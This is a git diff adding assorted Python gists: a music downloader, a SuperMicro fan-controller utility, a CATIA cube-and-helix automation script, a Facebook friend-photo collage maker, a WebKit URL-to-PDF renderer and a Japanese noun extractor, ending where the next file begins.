new file mode 100644
index 00000000..c2e33917
--- /dev/null
+++ b/hard-gists/2692960/snippet.py
@@ -0,0 +1,135 @@
+#!/usr/bin env python3
+import re
+import json
+import os
+import sys
+import time
+import signal
+import urllib.request
+
+opener = urllib.request.build_opener()
+
+def sigint_handler(signal, frame):
+    '''Handles ^c'''
+    print('Recieved SIGINT! Exiting...')
+    sys.exit(0)
+
+def unescape(s):
+    s = s.replace("&lt;", "<")
+    s = s.replace("&gt;", ">")
+    s = s.replace("&quot;", "\"")
+    s = s.replace("&#8203;", " ") # How in the hell?
+    s = s.replace("&amp;", "&") # This needs to be last
+    return s
+
+def get_list():
+    cache = os.path.join('dew_music', 'music_list.json')
+    try:
+        os.mkdir('dew_music')
+    except OSError:
+        pass
+    try:
+        with open(cache, encoding='utf-8') as f:
+            return json.loads(f.read())
+    except IOError:
+        with opener.open('https://docs.google.com/spreadsheet/pub?'
+                         'key=0AhSz7tnijafVdFJBM1ZRQ2hBU1BtTXBkZWRVak1CelE&output=csv') as w:
+            csv_data = w.read().decode('utf-8')
+        music = dict()
+        for i in csv_data.split('\n'):
+            url, cat = i.split(',')
+            cat = re.sub(r'\W', '', cat).lower()
+            if cat not in music:
+                music[cat] = [url]
+            elif url not in music[cat]:
+                music[cat].append(url)
+        with open(cache, 'w') as f:
+            f.write(json.dumps(music, indent=2))
+        return music
+
+def download_songs(url, category):
+    try:
+        with opener.open(url) as w:
+            page = w.read().decode('utf-8')
+    except urllib.error.HTTPError:
+        print("404! Artist/Album may not exist! Skipping.")
+        time.sleep(3)
+        return 
+    mp3s = re.findall(r'''"file":"(http:.*?)"''', page)
+    titles = re.findall(r'''itemprop="url"><span itemprop="name">(.*?)</span>''', page)
+    if not titles:
+        titles = re.findall(r'''<h2 class="trackTitle" itemprop="name">\s*(.*?)\s*</h2>''', page)
+    titles = [unescape(i) for i in titles]
+    titles_clean = [re.sub(r'''\W''', '_', i) for i in titles]
+    album = re.findall(r'''<title>(.*?) \|''', page)[0]
+    album_clean = re.sub(r'''\W''', '_', album)
+    artist = re.findall(r'''\| (.*?)</title>''', page)[0]
+    artist_clean = re.sub(r'''\W''', '_', artist)
+    base_path = os.path.join('dew_music', category, artist_clean, album_clean)
+    sauce_path = os.path.join(base_path, 'sauce.txt')
+    if os.path.isfile(sauce_path):
+        print("{} by {} already downloaded! Skipping.".format(album, artist))
+    else:
+        print("Retrieving {} by {}.".format(album, artist))
+        try:
+            x = ''
+            for y in base_path.split(os.sep):
+                x = os.path.join(x, y)
+                if not os.path.isdir(x):
+                    os.mkdir(x)
+        except OSError:
+            pass
+        for i, title in enumerate(titles_clean):
+            mp3_path = os.path.join(base_path, "{:02d}_{}.mp3".format(i+1, title))
+            print("Downloading {:02d} {}".format(i+1, titles[i]))
+            if not mp3s:
+                print("Music not free! Skipping.")
+                break
+            try:
+                with opener.open(mp3s[i].replace('\\', '')) as w:
+                    with open(mp3_path, 'wb') as f:
+                        f.write(w.read())
+            except urllib.error.HTTPError:
+                print("404! Failed to download track! Skipping!")
+                time.sleep(3)
+                break
+            except IndexError:
+                print("Not all of this album is free! Making note in folder.")
+                with open(os.path.join(base_path, 'WARNING.txt'), 'w') as f:
+                    f.write("Warning, the track titles may be inaccurate for this album.\n"
+                            "One or more songs may have been non-free!")
+        with open(sauce_path, 'w') as f:
+            f.write(url + '\n' + '\n'.join(["{:02d} {}".format(x+1, y)
+                                             for x, y in enumerate(titles)]))
+
+def main():
+    args = sys.argv[1:]
+    if args and args[0] == "--list":
+        music = get_list()
+        print("The list of categories to choose from are:")
+        print(", ".join(music.keys()))
+        print("You can specify multiple categories or 'all'.")
+    elif args and args[0] == "--get" and len(args) >= 2:
+        music = get_list()
+        if 'all' in args[1:]:
+            for x in music:
+                for y in music[x]:
+                    download_songs(y, x)
+        else:
+            for x in args[1:]:
+                if x in music:
+                    for y in music[x]:
+                        download_songs(y, x)
+                else:
+                    print("{} is not a recognized category! Skipping.".format(x))
+    else:
+        print("Use --list to see the categories available and --get to download the music from"
+               " said categories.\nWhen specifying categories, you can list multiple or 'all'.\n"
+               "Sorry there's no tagging, I hope your media player can use the directory "
+               "structure fot figure the tags out. A sauce.txt file is included along with every "
+               "'album' which links to the source and includes the non-sanitized track names.\n"
+               "This script supports very limited resuming in case of a failed download.")
+
+if __name__ == '__main__':
+    signal.signal(signal.SIGINT, sigint_handler)
+    main()
diff --git a/hard-gists/26a33ce1e82092b4d2dbdf18c3610fde/._snippet.py b/hard-gists/26a33ce1e82092b4d2dbdf18c3610fde/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/26a33ce1e82092b4d2dbdf18c3610fde/._snippet.py differ
diff --git a/hard-gists/26a33ce1e82092b4d2dbdf18c3610fde/snippet.py b/hard-gists/26a33ce1e82092b4d2dbdf18c3610fde/snippet.py
new file mode 100644
index 00000000..db992360
--- /dev/null
+++ b/hard-gists/26a33ce1e82092b4d2dbdf18c3610fde/snippet.py
@@ -0,0 +1,252 @@
+#!/usr/bin/env python
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements.  See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership.  The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License.  You may obtain a copy of the License at
+# 
+#   http://www.apache.org/licenses/LICENSE-2.0
+# 
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied.  See the License for the
+# specific language governing permissions and limitations
+# under the License.
+
+import sys
+import argparse
+from smbus import SMBus
+from contextlib import contextmanager
+
+# 
+# All register ceom from
+# https://github.com/torvalds/linux/blob/5924bbecd0267d87c24110cbe2041b5075173a25/drivers/hwmon/w83795.c
+# 
+#
+
+ADDRESS=0x2f
+
+NUVOTON_VENDOR_ID = 0xa3
+CHIP_ID = 0x79
+
+W83795_REG_BANKSEL = 0x00
+
+# Fan Control Mode Selection Registers (FCMS)
+W83795_REG_FCMS1 = 0x201
+W83795_REG_FCMS2 = 0x208
+W83795_REG_TFMR = lambda index: 0x202 + index
+W83795_REG_TSS = lambda index: 0x209 + index
+
+W83795_REG_SFIV_TEMP = lambda index: range(0x280 + index * 0x10, 0x280 + index * 0x10 + 7)
+W83795_REG_SFIV_DCPWM = lambda index: range(0x288 + index * 0x10, 0x288 + index * 0x10 + 7)
+
+W83795_REG_CTFS = lambda index: 0x268 + index
+
+#Fan Output PWM Frequency Prescalar (FOPFP)
+W83795_REG_FOPFP = lambda index: 0x218 + index
+#Fan Output Nonstop Value (FONV)
+W83795_REG_FONV = lambda index: 0x228 + index
+#Hystersis of Temperature (HT)
+W83795_REG_HT = lambda index: 0x270 + index
+#Target Temperature of Temperature Inputs
+W83795_TTTI = lambda index: 0x260 + index
+
+FANS = range(0,8)
+TEMPS = range(0,6)
+
+@contextmanager
+def bank(bus, value):
+  prev_value = w83795_set_bank(bus, value)
+  yield
+  w83795_set_bank(bus, prev_value)
+
+
+def w83795_set_bank(bus, bank):
+  assert bank in [0,1,2,3]
+  # Read current bank value
+  cur_bank = bus.read_byte_data(ADDRESS, W83795_REG_BANKSEL)
+  # If the bank is already set, nothing to do
+  if cur_bank == bank:
+    return cur_bank
+  # Change the bank
+  bus.write_byte_data(ADDRESS, W83795_REG_BANKSEL, bank)
+  # Return previous bank value
+  return cur_bank
+
+
+def w83795_write(bus, reg, value):
+  """
+  Write into the given registry.
+  """
+  with bank(bus, reg >> 8):
+    return bus.write_byte_data(ADDRESS, reg & 0xff, value & 0xff)
+
+
+def w83795_read(bus, reg):
+  """
+  Read the given registry.
+  """
+  
+  if hasattr(reg, '__iter__'):
+      with bank(bus, reg[0] >> 8):
+        return map(lambda r: bus.read_byte_data(ADDRESS, r & 0xff), reg)
+  with bank(bus, reg >> 8):
+    return bus.read_byte_data(ADDRESS, reg & 0xff)
+
+
+def to_degree(val, low=0, hi=127):
+  """Convert hex value to degree."""
+  return 127 * val / 255
+
+
+def to_perc(value):
+  """Convert hex value to percentage."""
+  return value * 100 / 255
+
+
+def from_degree(value):
+  """Convert degree to hex"""
+  value = max(min(int(value) + 1,127),0)
+  return (value * 255 / 127) & 0xff
+
+def from_perc(value):
+  """Convert perc to hex"""
+  value = max(min(int(value) + 1,100),0)
+  return (value * 255 / 100) & 0xff
+
+
+def main():
+  # Read arguments
+  parser = argparse.ArgumentParser(description='Change SuperMicro X8 Fan Control.')
+  parser.add_argument('-m', '--mode', type=str, choices=['smart', 'cruise'], help='Set the fan mode: smart or cruise. smart: to use Smart Fan mode. cruise: to use Thermal Cruise mode.')
+  parser.add_argument('-p', '--pwm', type=str, help='Set Fan Duty (in percentage).')
+  parser.add_argument('-t', '--temp', type=str, help='Set Temperature (in Celsius) associated to pwm.')
+  parser.add_argument('-H', '--hystersis', type=int, help='Set Hystersis value in degree (0-15)')
+  args = parser.parse_args()
+
+  # Open SMBus
+  try:
+    bus = SMBus(0)
+  except:
+    print("Failed to open i2c bus (/dev/i2d-0). Make sure i2c-dev module is loaded.")
+    return
+  #Check if we have the right device.
+  try:
+    vendor = w83795_read(bus, 0xfd)
+    chipid = w83795_read(bus, 0xfe)
+    #debug("vendor %s, chipid %s" % (vendor, chipid))
+    if vendor != NUVOTON_VENDOR_ID or chipid != CHIP_ID:
+      print("unexpected vendor %s, chipid %s" % (vendor, chipid))
+      return
+
+    # Check if Smarts Fan Control is enabled
+    if args.mode == 'smart':
+        # Check arguments
+        if not args.pwm or not args.temp:
+          print('pwm and temp are required')
+          return
+        pwm = args.pwm.split(',')
+        temp = args.temp.split(',')
+        if len(pwm) != len(temp):
+          print("pwm and temp must have the same number of values")
+          return
+
+        # Change Smart Fan Control value
+        for i in range(0,7):
+          p = pwm[i] if i < len(pwm) else pwm[-1]
+          tt = temp[i] if i < len(temp) else temp[-1]
+          print("Set Smart Fan Control %s%% - %sC" % (p, tt))
+          for t in TEMPS:
+            w83795_write(bus, W83795_REG_SFIV_DCPWM(t)[i], from_perc(p))
+            w83795_write(bus, W83795_REG_SFIV_TEMP(t)[i], from_degree(tt))
+
+        # Change Minimum PWM
+        for f in FANS:
+          w83795_write(bus, W83795_REG_FONV(f), from_perc(pwm[0]))
+        # Change critical Temp
+        for t in TEMPS:
+          w83795_write(bus, W83795_REG_CTFS(t), from_degree(temp[-1]))
+
+        # Set Smart Fan Control Mode T6FC - T1FC
+        w83795_write(bus, W83795_REG_FCMS1, 0x0)
+        w83795_write(bus, W83795_REG_FCMS2, 0x3f)
+
+    elif args.mode == 'cruise':
+        
+        # Check arguments
+        if not args.temp:
+          print('temp is required')
+          return
+        temp = int(args.temp)
+
+        print("Set Thermal Cruise %sC" % (temp,))
+        for t in TEMPS:
+          w83795_write(bus, W83795_TTTI(t), from_degree(temp))
+
+        # Change critical Temp
+        for t in TEMPS:
+          w83795_write(bus, W83795_REG_CTFS(t), from_degree(80))
+
+        # Set Thermal Cruise Mode.
+        w83795_write(bus, W83795_REG_FCMS1, 0x0)
+        w83795_write(bus, W83795_REG_FCMS2, 0x0)
+
+    # Set hystersis
+    if args.hystersis:
+      ht = max(min(args.hystersis,15),0)
+      print("Set hystersis %sC" % ht)
+      # Change Smart Fan Control value
+      for t in range(0,6):
+        w83795_write(bus, W83795_REG_HT(t), ht)
+
+    if args.mode or args.pwm or args.temp or args.hystersis:
+      return
+
+    # Check if Smarts Fan Control is enabled
+    fcms1 = w83795_read(bus, W83795_REG_FCMS1)
+    fcms2 = w83795_read(bus, W83795_REG_FCMS2) & 0xff
+
+    # Default to show all data.
+    for t in TEMPS:
+      print("Temp%s to Fan mapping Relationships (T%sFMR)" % (t+1, t+1))
+      tfmr = w83795_read(bus, W83795_REG_TFMR(t))
+      fans= [i+1 for i in FANS if tfmr & (0x1<<i)]
+      print(' '.join(['Fan%s' % i for i in fans]))
+
+      print("Smart Fan Control Table (SFIV)")
+      temp = w83795_read(bus, W83795_REG_SFIV_TEMP(t))
+      print(''.join([("%sC" % to_degree(v)).rjust(6) for v in temp]))
+
+      dcpwm = w83795_read(bus, W83795_REG_SFIV_DCPWM(t))
+      print(''.join([("%s%%" % to_perc(v)).rjust(6) for v in dcpwm]))
+
+      ttti = w83795_read(bus, W83795_TTTI(t))
+      print("Thermal Cruise (TTTI): %sC" % (ttti,))
+
+      ctfs = w83795_read(bus, W83795_REG_CTFS(t))
+      print("Critical Temperature (T%sCTFS): %sC" % (t, to_degree(ctfs)))
+
+      ht = w83795_read(bus, W83795_REG_HT(t)) & 0b1111
+      print("Hysteresis (HT%s): %sC" % (t, ht))
+
+      print('')
+
+    for f in FANS:
+      fonv = w83795_read(bus, W83795_REG_FONV(f))
+      print("Fan%s Output Nonstop Value (F%sONV): %s%%" % (f+1, f+1, to_perc(fonv)))
+
+    #for f in range(0,6):
+    #  w83795_write(bus, W83795_REG_FONV(f), 50)
+    #w83795_write(bus, W83795_REG_SFIV_DCPWM(0)[0], 50)
+    #w83795_write(bus, W83795_REG_SFIV_TEMP(0)[0], 85)
+    #w83795_write(bus, W83795_REG_SFIV_TEMP(1)[0], 85)
+
+  finally:
+    bus.close()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/2704426/._snippet.py b/hard-gists/2704426/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2704426/._snippet.py differ
diff --git a/hard-gists/2704426/snippet.py b/hard-gists/2704426/snippet.py
new file mode 100644
index 00000000..cf2b2877
--- /dev/null
+++ b/hard-gists/2704426/snippet.py
@@ -0,0 +1,132 @@
+#!/usr/bin/env python3
+
+import sys
+import array
+import math
+import random
+import os.path
+import win32com.client
+
+def get_catia():
+    catapp = win32com.client.Dispatch("CATIA.Application")
+    return catapp
+
+def mkcube(cat, fname):
+    part1 = cat.Documents.Add("Part").Part
+    ad = cat.ActiveDocument
+    part1 = ad.Part
+    bod = part1.MainBody
+    bod.Name="cube"
+
+    cubeWidth = 10
+
+    skts = bod.Sketches
+    xyPlane = part1.CreateReferenceFromGeometry(part1.OriginElements.PlaneXY)
+    shapeFact = part1.Shapefactory
+
+    ms = skts.Add(xyPlane)
+    ms.Name="Cube Outline"
+
+    fact = ms.OpenEdition()
+    fact.CreateLine(-cubeWidth, -cubeWidth,  cubeWidth, -cubeWidth)
+    fact.CreateLine(cubeWidth, -cubeWidth,  cubeWidth, cubeWidth)
+    fact.CreateLine(cubeWidth, cubeWidth,  -cubeWidth, cubeWidth)
+    fact.CreateLine(-cubeWidth, cubeWidth,  -cubeWidth, -cubeWidth)
+    ms.CloseEdition()
+    mpad = shapeFact.AddNewPad(ms, cubeWidth)
+    mpad.Name = "Python Pad"
+    mpad.SecondLimit.Dimension.Value = cubeWidth
+
+    sel = ad.Selection
+    sel.Add(mpad)
+
+    vp = sel.VisProperties
+    vp.SetRealColor(random.randint(0,255),random.randint(0,255),random.randint(0,255), 0)
+    part1.Update()
+    
+    hbs = part1.HybridBodies
+    hBod = hbs.Add()
+    hsf = part1.HybridShapeFactory
+
+    sel.Search("Topology.Face,sel")
+    faceCnt = sel.Count
+
+    print("Found",faceCnt,"faces")
+    hsd = hsf.AddNewDirectionByCoord(0,0,1)
+    faces=[]
+    for i in range(1, faceCnt+1):
+        faces.append(sel.Item2(i))
+
+    for fac in faces:
+        sel.Clear()
+        sel.Add(fac.Value)
+
+        vp = sel.VisProperties
+        vp.SetRealColor(random.randint(63,191), random.randint(63, 191), random.randint(63, 191), 0)
+
+    sel.Clear()
+    part1.Update()
+    ad.SaveAs(fname)
+    ad.Close()
+
+def x(t):
+    return 40.0*math.cos(t)
+
+def y(t):
+    return 40.0*math.sin(t)
+
+def z(t):
+    return 20*t
+
+def mkhelix(cat, cube_name, fname):
+    prod1 = cat.Documents.Add("Product").Product
+    ad = cat.ActiveDocument
+    prod1 = ad.Product
+    prod_list = prod1.Products
+    cn_list = [cube_name]
+    num_cubes = 200
+    
+    min_t = -math.pi*10
+    max_t = math.pi*10
+    t = min_t
+    dt = (max_t-min_t)/(num_cubes-1)
+
+    for i in range(num_cubes):
+        curName = 'Part1.{}'.format(i+1)
+        prod_list.AddComponentsFromFiles(cn_list, "All")
+        itm = prod_list.Item(curName)
+        mvr = itm.Move
+        mvr = mvr.MovableObject
+        trans = [1.0,0.0,0.0,
+                 0.0,1.0,0.0,
+                 0.0,0.0,1.0,
+                 x(t), y(t), z(t)]
+        mvr.Apply(trans)
+        trans = [math.cos(t),-math.sin(t),0.0,
+                 math.sin(t),math.cos(t),0.0,
+                 0.0,0.0,1.0,
+                 0.0,0.0,0.0]
+        mvr.Apply(trans)
+        t += dt
+                 
+    ad.SaveAs(fname)
+    ad.Close()
+    
+def main(args):
+    cat = get_catia()
+    cube_fname = os.path.abspath(args[0])
+    helix_fname = os.path.abspath(args[1])
+    try:
+        os.unlink(cube_fname)
+    except:
+        pass
+    try:
+        os.unlink(helix_fname)
+    except:
+        pass
+    mkcube(cat, cube_fname)
+    mkhelix(cat, cube_fname, helix_fname)
+
+
+if __name__=='__main__':
+    main(sys.argv[1:])
diff --git a/hard-gists/2705927/._snippet.py b/hard-gists/2705927/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2705927/._snippet.py differ
diff --git a/hard-gists/2705927/snippet.py b/hard-gists/2705927/snippet.py
new file mode 100644
index 00000000..00405807
--- /dev/null
+++ b/hard-gists/2705927/snippet.py
@@ -0,0 +1,175 @@
+#!/usr/bin/python
+
+###############################################################################
+# Produce a collage (grid) of friend profile images from Facebook.
+# Inspired by Vipin "swvist" Nair @ https://gist.github.com/2692786
+###############################################################################
+# Copyright (c) 2012 Madzen
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+###############################################################################
+
+from urllib import urlopen
+import json
+from PIL import Image
+from random import choice
+import cStringIO
+from argparse import ArgumentParser
+from hashlib import md5
+
+###########################
+# User Configuration
+###########################
+
+# Access token from Facebook (need to acquire and add here or command-line)
+access_token = '<ADD_ACCESS_TOKEN>'
+
+###########################
+# End of User Configuration
+###########################
+
+parser = ArgumentParser(description='Creates a grid of Facebook profile pictures.')
+
+parser.add_argument('-c', '--colour', help='produce a colour image',
+                    action='store_true')
+parser.add_argument('-o', '--output', dest='outfile',
+                    help='output filename (default: output.jpg)')
+parser.add_argument('-w', '--width', type=int, dest='width',
+                    help='number of images wide (default: 30)')
+parser.add_argument('-l', '--height', type=int, dest='height',
+                    help='number of images high (default: 25)')
+parser.add_argument('-t', '--token', dest='token',
+                    help='access token from Facebook API')
+
+args = parser.parse_args()
+
+# Set the appropriate image type for PIL
+img_type = "L"
+if args.colour:
+    img_type = "RGBA"
+
+# Set the output filename
+out_file = "output.jpg"
+if args.outfile:
+    out_file = args.outfile
+
+# The number of image columns (width)
+img_columns = 30
+if args.width:
+    img_columns = int(args.width)
+
+# The number of image rows (height)
+img_rows = 25
+if args.height:
+    img_rows = int(args.height)
+
+# The Facebook Graph API access token
+if args.token:
+    access_token = args.token
+
+# The pixel width of one image (50x50 with type=square)
+img_width = 50
+
+# The pixel height of one image (50x50 with type=square)
+img_height = 50
+
+# URL used to access friend information from account
+FRIEND_URL = 'https://graph.facebook.com/me/friends?access_token=%s'
+
+# URL to retrieve the profile picture from an account
+PHOTO_URL = 'http://graph.facebook.com/%s/picture?type=square'
+
+# MD5 Hashes of blank images
+BLANK_HASHES = []
+# MD5 Hash of the blank male image
+BLANK_HASHES.append('af10cdc4144e0a16b097a293b0d95422')
+# MD5 hash of the blank female image
+BLANK_HASHES.append('04aaffaf075732616c0c35ae3e28bce6')
+
+# Initial URL (before paging)
+url = FRIEND_URL % access_token
+
+# Complete friend list (from all pages)
+friend_id_list = []
+
+# Create initial canvas
+img_canvas = Image.new(img_type, (img_width * img_columns, img_height * img_rows))
+
+
+def get_json_data(url):
+    """
+    Retrieves the JSON response from Facebook and returns a parsed element.
+    """
+    urldata = urlopen(url)
+    fh = urldata.read()
+
+    return json.loads(fh)
+
+
+def get_friends(json_data, friend_ids):
+    """
+    Takes the JSON data object and adds the friend IDs to a given list.
+    """
+    try:
+        for friend in json_data["data"]:
+            friend_ids.append(friend["id"])
+    except KeyError:
+        print "Error: Data element not found in response."
+        if json_data["error"]:
+            print "{0}: {1}".format(json_data["error"]["type"],
+                                    json_data["error"]["message"])
+        raise SystemExit(1)
+
+    return friend_ids
+
+
+print "Retrieving first page of friend results ..."
+json_data = get_json_data(url)
+friend_id_list = get_friends(json_data, friend_id_list)
+
+while json_data is not None:
+    try:
+        print "Retrieving next page of friend results ..."
+        url = json_data["paging"]["next"]
+        json_data = get_json_data(url)
+        friend_id_list = get_friends(json_data, friend_id_list)
+    except KeyError:
+        json_data = None
+
+print "Friend retrieval complete, {0} friends found.".format(len(friend_id_list))
+
+# Cache the images at the beginning so they don't have to download every use.
+friend_images = []
+print "Downloading profile pictures ..."
+for x in friend_id_list:
+    img_url = PHOTO_URL % x
+    img_obj = cStringIO.StringIO(urlopen(img_url).read())
+    # Avoid adding the blank images
+    if md5(img_obj.getvalue()).hexdigest() not in BLANK_HASHES:
+        friend_images.append(Image.open(img_obj))
+
+# Build up the main canvas with randomly chosen images from the list.
+for x in range(img_rows):
+    for y in range(img_columns):
+        img_canvas.paste(choice(friend_images), (y * img_width, x * img_height))
+
+# Save the final image
+print "Saving image to {0} ...".format(out_file)
+img_canvas.save(out_file, "JPEG")
+print "Process complete, image created."
diff --git a/hard-gists/2708979/._snippet.py b/hard-gists/2708979/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2708979/._snippet.py differ
diff --git a/hard-gists/2708979/snippet.py b/hard-gists/2708979/snippet.py
new file mode 100644
index 00000000..a0b68d90
--- /dev/null
+++ b/hard-gists/2708979/snippet.py
@@ -0,0 +1,82 @@
+# Authored by sundance@ierne.eu.org as found in the following link:
+# http://www.mail-archive.com/pyqt@riverbankcomputing.com/msg18928.html
+
+import sys
+
+from PyQt4 import QtCore
+from PyQt4 import QtGui
+from PyQt4.QtCore import QObject
+from PyQt4.QtCore import QUrl
+from PyQt4.QtCore import QSizeF
+from PyQt4.QtCore import SIGNAL
+from PyQt4.QtGui import QPainter
+from PyQt4.QtGui import QPrinter
+from PyQt4.QtGui import QImage
+from PyQt4 import QtWebKit
+
+class WebKitPDF ( QObject ):
+
+  def __init__ ( self, url, dest ):
+    QObject.__init__ ( self )
+    self.dest = dest
+    self.page = QtWebKit.QWebPage ( self )
+    self.mainFrame = self.page.mainFrame()
+    self.mainFrame.load ( QUrl ( url ) )
+
+    self.connect ( self.page,
+             SIGNAL ( "loadProgress(int)" ),
+             self.loadProgress )
+
+    self.connect ( self.page,
+             SIGNAL ( "loadFinished(bool)" ),
+             self.renderPDF )
+
+
+
+  def loadProgress ( self, progress ):
+    print "Progress: ", progress
+
+
+  def renderPDF ( self, status ):
+    print "Load finished with status: ", status
+    print "Rendering PDF ..."
+
+    contentsSize = self.mainFrame.contentsSize()
+    self.page.setViewportSize ( contentsSize )
+
+    self.printer = QPrinter ( QPrinter.PrinterResolution )
+    #self.printer = QPrinter ( QPrinter.ScreenResolution )
+    self.printer.setOutputFormat ( QPrinter.PdfFormat )
+    #self.printer.setPaperSize ( QPrinter.A4 )
+    self.printer.setFullPage( True )
+    self.printer.setPaperSize ( QSizeF( contentsSize ), QPrinter.DevicePixel )
+    self.printer.setOrientation ( QPrinter.Portrait )
+    self.printer.setOutputFileName ( self.dest )
+
+    self.painter = QPainter ( self.printer )
+    self.painter.setRenderHint ( QPainter.Antialiasing )
+    self.mainFrame.render ( self.painter )
+    self.painter.end()
+    app = QtGui.QApplication.instance()
+    app.exit ( 0 )
+    
+    
+
+def main( url, dest ):
+  app = QtGui.QApplication ( sys.argv )
+  wk = WebKitPDF ( url, dest )
+  sys.exit ( app.exec_() )
+
+
+if __name__ == "__main__":
+
+  import sys
+
+  try:
+    url  = sys.argv[1]
+    dest = sys.argv[2]
+
+  except IndexError:
+    sys.exit()
+
+  main( url, dest )
\ No newline at end of file
diff --git a/hard-gists/271862/._snippet.py b/hard-gists/271862/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/271862/._snippet.py differ
diff --git a/hard-gists/271862/snippet.py b/hard-gists/271862/snippet.py
new file mode 100644
index 00000000..80c1d571
--- /dev/null
+++ b/hard-gists/271862/snippet.py
@@ -0,0 +1,177 @@
+#!/usr/bin/env python
+# -*- coding:utf-8 -*-
+import re
+import MeCab
+
+class Word(object):
+    
+    def __init__(self,surface,feature):
+        self.surface = surface
+        self.feature = feature
+    
+    def is_connected(self):
+        allowed_feature = [
+            u"名詞,一般",
+            u"名詞,数",
+            u"名詞,サ変接続",
+            u"名詞,接尾,一般",
+            u"名詞,接尾,サ変接続",
+            u"名詞,固有名詞",
+            u"名詞,形容動詞語幹",
+            u"記号,アルファベット",
+        ]
+        disallowed_symbols = set(map(lambda x:x, u"()[]<>|\"';,"))
+        for rule in allowed_feature:
+            if self.feature.startswith(rule) and \
+                    self.surface not in disallowed_symbols:
+                return True
+        else:
+            return False
+
+    def is_adjective_stem(self):
+        allowed_feature = [
+            u"名詞,形容動詞語幹",
+            u"名詞,ナイ形容詞語幹",
+        ]
+        for rule in allowed_feature:
+            if self.feature.startswith(rule):
+                return True
+        else:
+            return False
+
+    def is_prefix(self):
+        allowed_feature = [
+            u"接頭詞,名詞接続",
+        ]
+        for rule in allowed_feature:
+            if self.feature.startswith(rule):
+                return True
+        else:
+            return False
+
+    def is_postfix(self):
+        allowed_feature = [
+            u"名詞,接尾,形容動詞語幹",
+            u"名詞,接尾,一般",
+        ]
+        for rule in allowed_feature:
+            if self.feature.startswith(rule):
+                return True
+        else:
+            return False
+
+    def is_digit_prefix(self):
+        allowed_feature = [
+            u"接頭詞,数接続",
+        ]
+        for rule in allowed_feature:
+            if self.feature.startswith(rule):
+                return True
+        else:
+            return False
+
+    def is_numerative(self):
+        allowed_feature = [
+            u"名詞,接尾,助数詞",
+        ]
+        for rule in allowed_feature:
+            if self.feature.startswith(rule):
+                return True
+        else:
+            return False
+
+    def is_digit(self):
+        allowed_feature = [
+            u"名詞,数",
+        ]
+        for rule in allowed_feature:
+            if self.feature.startswith(rule):
+                return True
+        else:
+            return False
+
+def is_symbol_only(word):
+    regexp = \
+    re.compile(r'^[!"#\$\%\&\'\(\)\*\+,\-\./:;\<\=\>\?\@\[\\\]\^\_\`\{\}\~\|]+$')
+    if regexp.search(word) != None:
+        return True
+    else:
+        return False
+
+def extract_noun(text):
+    worddic = {}
+    result = []
+    c = MeCab.Tagger()
+    res = c.parseToNode(text.encode("utf-8"))
+    was_noun = False
+    was_adjective = False
+    was_prefix  = False
+    was_postfix = False
+    was_digit = False
+    was_digit_prefix = False
+    while res:
+        word = Word(unicode(res.surface),unicode(res.feature))
+
+        ## 接頭辞は次の名詞に繋ぐ
+        if was_prefix and word.is_connected():
+            result[-1] = result[-1] + word.surface
+            was_noun = True
+            was_prefix = False
+            res = res.next
+            continue
+        
+        ## 接尾辞は一個前が名詞だったら繋ぐ
+        if word.is_postfix() and was_noun:
+            result[-1] = result[-1] + word.surface
+            was_noun = False
+            was_prefix = False
+            res = res.next
+            continue
+
+        ## 数接続の接頭詞の次に数字だったらつなぐ
+        if was_digit_prefix and word.is_digit():
+            result[-1] = result[-1] + word.surface
+            was_digit = True
+            was_digit_prefix = False
+            res = res.next
+            continue
+
+        ## 数字の次に助数詞が来たらつなげる
+        if was_digit and word.is_numerative():
+            result[-1] = result[-1] + word.surface
+            was_digit = False
+            was_noun = False
+            res = res.next
+            continue
+            
+        was_noun = word.is_connected()
+
+        was_adjective = word.is_adjective_stem()
+
+        was_prefix = word.is_prefix()
+
+        was_postfix = word.is_postfix()
+
+        was_digit = word.is_digit()
+
+        was_digit_prefix = word.is_digit_prefix()
+
+        if was_noun or was_adjective or was_postfix or was_prefix or \
+            was_digit_prefix or word.feature.startswith("名詞"):
+            result.append(word.surface)
+
+        res = res.next
+
+    for j in xrange(len(result)):
+        word = result[j]
+        if not word.isdigit() and not is_symbol_only(word):
+            worddic[word] = worddic.get(word, 0) + 1
+
+    return worddic
+
+if __name__ == "__main__":
+    import sys
+    text = sys.argv[1]
+    worddic = extract_noun(text)
+    for word,num in worddic.items():
+        print word,num
diff --git a/hard-gists/2719812/._snippet.py b/hard-gists/2719812/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2719812/._snippet.py differ
diff --git a/hard-gists/2719812/snippet.py b/hard-gists/2719812/snippet.py
new file mode 100644
index 00000000..0a587810
--- /dev/null
+++ b/hard-gists/2719812/snippet.py
@@ -0,0 +1,346 @@
+"""
